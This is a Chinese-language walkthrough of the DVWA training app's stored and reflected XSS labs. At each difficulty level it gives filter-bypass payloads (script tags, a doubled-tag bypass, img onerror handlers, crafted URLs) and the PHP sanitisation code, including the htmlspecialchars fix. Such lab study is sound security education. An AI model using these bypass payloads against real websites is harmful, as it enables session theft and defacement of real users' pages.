something about DVWA - XSS(Stored)

DVWA

DVWA => 备份地址

XSS(Stored)

XSS是跨站脚本攻击Cross-site scriptingStored类型是 存储型XSS攻击,此类型的XSS保存在目标服务器上,用户每次访问都会被攻击。

Low

  • 手动测试

    直接在内容中输入恶意内容后提交。

    1
    <script>alert("bad");</script>
  • 源码分析

    • 将参数内容存储到DB中

    使用stripslashes()mysqli_real_escape_string()函数,转义特殊字符。

    1
    2
    // Update database
    $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

Medium

  • 手动测试

    name进行注入。采用双写绕过过滤。

    注入内容:

    1
    <script<script>>alert('bad');</script>
  • 源码分析

    • message内容去除html标签

      使用strip_tags()去除html标签。

      1
      2
      // Sanitize message input
      $message = strip_tags( addslashes( $message ) );
    • name过滤<script>标签

      1
      2
      // Sanitize name input
      $name = str_replace( '<script>', '', $name );

High

  • 手动测试

    • 采用<img/>标签

    name注入<img onerror=""/>

    1
    <img src="1" onerror="alert('bad');" />
  • 源码分析

    • 使用正则的方式过滤<script>标签
    1
    2
    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

Impossible

  • 源码分析

    • 去除参数中的\

      使用stripslashes()去除字符串中的\字符。

    • 转义特殊字符

      使用mysqli_real_escape_string()函数转义特殊字符。

    • 预编译SQL执行

      使用PDO的方式执行SQL。


something about DVWA - XSS(Reflected)

DVWA

DVWA => 备份地址

XSS(Reflected)

XSS是跨站脚本攻击Cross-site scriptingReflected类型是 反射型XSS攻击,此类型的XSS未保存在目标服务器上,是攻击者恶意插入在html中的内容。

Low

  • 手动测试

    在URL中构造恶意参数。

    1
    http://train.com/dvwa/vulnerabilities/xss_r/?name=<script>alert('bad');</script>
  • 源码分析

    • 将页面输入的内容直接输入至拼接至页面渲染

      1
      2
      3
      4
      5
      // Is there any input?
      if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
      // Feedback for end user
      echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
      }

Medium

  • 手动测试

    • 双写<script>

      构造双写<script><script<script>>;

      1
      http://train.com/dvwa/vulnerabilities/xss_r/?name=<script<script>>alert('bad');</script>
  • 源码分析

    • 过滤<scrip>标签

      1
      2
      // Get input
      $name = str_replace( '<script>', '', $_GET[ 'name' ] );

High

  • 手动测试

    • 采用<img/>标签

      利用<img/>标签的onerror机制,构造恶意URL。

      1
      http://train.com/dvwa/vulnerabilities/xss_r/?name=<img src="nothing" onerror="alert('bad');"/>
  • 源码分析

    • 以正则表达式的方式过滤<script>标签
    1
    2
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

Impossible

  • 源码分析

    • 将参数转义为html符号实体

      使用htmlspecialchars()函数将如<等特殊符号转义为&lt;html实体。

      1
      2
      // Get input
      $name = htmlspecialchars( $_GET[ 'name' ] );